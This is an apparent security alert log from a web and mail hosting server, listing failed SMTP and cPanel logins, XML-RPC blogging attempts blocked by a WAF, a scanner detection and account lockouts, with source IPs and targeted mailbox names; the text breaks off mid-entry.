description:
2026-02-01 15:09:09 dovecot_login authenticator failed for H=(4myoxPmHyQ) [178.16.52.139]:63631: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:09:22 dovecot_login authenticator failed for H=(qzaU3Fj) [158.94.208.175]:57135: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.171.89.199
country_id: 1835841
description:
2026-02-01 15:09:03 dovecot_login authenticator failed for H=([223.171.89.199]) [223.171.89.199]:47446: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:09:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34948: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:09:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49913: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:10:06 dovecot_login authenticator failed for H=(Z4BVEw2F) [158.94.208.175]:53704: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8e76e8a75cb2c19450ca7ee40c59240bda6475e5||Title:0x299d0095||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:10:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55699: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:10:21 dovecot_login authenticator failed for H=(P5taH0MoOl) [178.16.52.139]:61044: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:11:28 dovecot_login authenticator failed for H=(MLx2IcELfM) [178.16.54.22]:50150: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:11:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52266: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:11:11 dovecot_login authenticator failed for H=(g0LFt0wq) [178.16.52.139]:58109: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 15:11:15 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:59094: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:11:18 dovecot_login authenticator failed for H=(7oA0iG) [158.94.208.175]:61884: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ca9ecad6f51c17d664cc322e030a17f9fb73e566||Title:0x634c941b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 15:11:36 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:46884: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.13.8.125
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=126424 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:11:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61444: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:11:18 dovecot_login authenticator failed for H=(3MW4Wx) [178.16.52.139]:51602: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:12:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50547: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:12:07 dovecot_login authenticator failed for H=(rydAiuPot) [178.16.54.22]:56599: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fece8cc6bb4afac2c62c196e967350fdd36da7ea||Title:0x2d5354c3||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 15:12:31 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:35440: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:12:14 dovecot_login authenticator failed for H=(ithWr2) [178.16.52.139]:57312: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.186.136.36
country_id: 1814991
description:
2026-02-01 15:12:11 dovecot_login authenticator failed for H=([61.186.136.36]) [61.186.136.36]:53303: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:12:19 dovecot_login authenticator failed for H=(4IOiiVt) [158.94.208.175]:63513: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.82.141.145
country_id: 6252001
description:
2026-02-01 15:12:59 dovecot_plain authenticator failed for H=c-68-82-141-145.hsd1.pa.comcast.net (ankines) [68.82.141.145]:39354: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-02-01 15:12:25 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:6834: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-02-01 15:12:54 dovecot_login authenticator failed for H=([221.209.48.204]) [221.209.48.203]:43760: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:13:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63768: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:13:26 dovecot_login authenticator failed for H=(za6eIKKy) [158.94.208.175]:52588: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ac63eb4a98bd50636dc41e16996b9a4fb4e4175b||Title:0xb094024d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:13:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50570: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:13:21 dovecot_login authenticator failed for H=(wzL92LljYY) [178.16.52.139]:60139: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:14:18 dovecot_login authenticator failed for H=(S2fmce) [158.94.208.175]:58958: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:14:21 dovecot_login authenticator failed for H=(Hh1pV2rC) [178.16.52.139]:63251: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0f57dfa95622982247905eaeeb9328ef18d3da82||Title:0x40d8dace||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:14:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54048: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:14:14 dovecot_login authenticator failed for H=(GEnU54Z) [178.16.52.139]:59239: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.166
country_id: 2635167
description:
2026-02-01 15:14:13 228846 [Warning] Aborted connection 228846 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.166' (This connection closed normally without authentication)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.135.93.230
country_id: 1643084
description:
[2026-02-01 15:14:55 +0800] info [cpaneld] 95.135.93.230 - mkmetalc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:15:50 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40924: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:15:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59709: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.193.112.85
country_id: 6252001
description:
2026-02-01 15:15:21 dovecot_plain authenticator failed for H=c-98-193-112-85.hsd1.il.comcast.net (tablea) [98.193.112.85]:48996: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cce6811139cc5d93f9e39ec8fce70d601212daad||Title:0xda5b9b10||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:15:16 dovecot_login authenticator failed for H=(KdB1kcLTO) [178.16.52.139]:51044: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:15:06 dovecot_login authenticator failed for H=(jOnZoBFPC) [158.94.208.175]:55944: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.110.13.60
country_id: 2635167
description:
2026-02-01 15:15:16 dovecot_plain authenticator failed for H=([10.27.18.189]) [194.110.13.60]:55849: 535 Incorrect authentication data (set_id=bcteh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-02-01 15:16:35 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:56396: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:16:38 dovecot_login authenticator failed for H=(CVmqlHjAZK) [158.94.208.175]:60193: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.97.133.2
country_id: 6252001
description:
2026-02-01 15:16:40 dovecot_login authenticator failed for H=syn-024-097-133-002.biz.spectrum.com [24.97.133.2]:57997: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.187.173.180
country_id: 6252001
description:
2026-02-01 15:16:52 dovecot_login authenticator failed for H=(89.187.173.180) [89.187.173.180]:49000: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:16:10 dovecot_login authenticator failed for H=(0o1GOzI) [178.16.52.139]:50298: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:16:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54712: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f7af2529dcf2f8424abad95fd3741c67800c0d05||Title:0xfe223757||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:16:53 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:16:13 dovecot_login authenticator failed for H=(vRdWV9TN) [178.16.54.22]:51275: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 15:16:55 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:60659: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-02-01 15:17:29 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:38590: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-02-01 15:17:46 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:38330: 535 Incorrect authentication data (set_id=fasya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:17:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60566: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:17:24 dovecot_login authenticator failed for H=(luXeCx) [178.16.52.139]:59943: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-02-01 15:17:30 dovecot_login authenticator failed for H=(dynamicip-95-79-108-51.pppoe.nn.ertelecom.ru) [95.79.108.51]:48866: 535 Incorrect authentication data (set_id=fasya@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:17:32 dovecot_login authenticator failed for H=(jER6IZ) [178.16.54.22]:53407: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:17:36 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:17:16 dovecot_login authenticator failed for H=(07ySET) [178.16.52.139]:52236: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:17:59 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50896: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:17:03 dovecot_login authenticator failed for H=(Wa6tmLrEa) [158.94.208.175]:50494: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-02-01 15:17:08 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:34272: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a234f3d5f95d0e8dd67c461e1fad5ad3d0dd4072||Title:0x3fdd56d2||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:18:04 dovecot_login authenticator failed for H=(rKhX81bk) [178.16.52.139]:57312: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:18:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57055: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 15:18:16 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:18886: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:18:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 15:18:25 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:48408: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.160.222.194
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=28091532676614 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:18:06 dovecot_login authenticator failed for H=(nGCiDB8S7B) [158.94.208.175]:54448: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:18:09 dovecot_login authenticator failed for H=(GS4eroLn) [178.16.54.22]:56155: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5c15cc54fe6acf262adc1c527a906607f12a5a8e||Title:0xfe3cb1d9||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:19:03 dovecot_login authenticator failed for H=(deWJXP8D) [178.16.54.22]:64119: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-01 15:19:07 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:19:08 dovecot_login authenticator failed for H=(aV8Sdzh) [178.16.52.139]:58462: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 15:19:28 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:51573: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2a34284625df0ba6eeda160241b7652304948f8b||Title:0x60e14347||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:19:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:19:07 dovecot_login authenticator failed for H=(48LJfCCgqP) [158.94.208.175]:49552: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:19:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63443: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-02-01 15:19:21 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:51140: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 15:19:35 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:49784: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:20:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58629: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:20:22 dovecot_login authenticator failed for H=(u6Jwywlk) [158.94.208.175]:50923: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:20:14 dovecot_login authenticator failed for H=(vlAKvF) [178.16.54.22]:54636: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:20:07 dovecot_login authenticator failed for H=(Xz17Sugd) [178.16.52.139]:51358: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2767e199b8793a644aa55c01406934e68510c9ed||Title:0xffdb8629||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:20:44 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:20:02 dovecot_login authenticator failed for H=(SfGqO3n) [178.16.52.139]:59283: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77210801
name: IM360 WAF: Request Indicates a Security Scanner Scanned the Site
abuser: 103.58.75.88
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Request Indicates a Security Scanner Scanned the Site||MV:Fuzz Faster U Fool v2.0.0||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:20:17 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39372: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:21:16 dovecot_login authenticator failed for H=(nBkQdef) [158.94.208.175]:55133: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e44507575b724cd7e3c80bcb4198f6166cae6f4d||Title:0xfcb54073||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:21:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65002: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:21:28 dovecot_login authenticator failed for H=(5FVulA) [178.16.54.22]:54154: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.189.105.90
country_id: 3895114
description:
2026-02-01 15:21:04 dovecot_plain authenticator failed for H=(UJZECE2W) [186.189.105.90]:53310: 535 Incorrect authentication data (set_id=jecyl@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
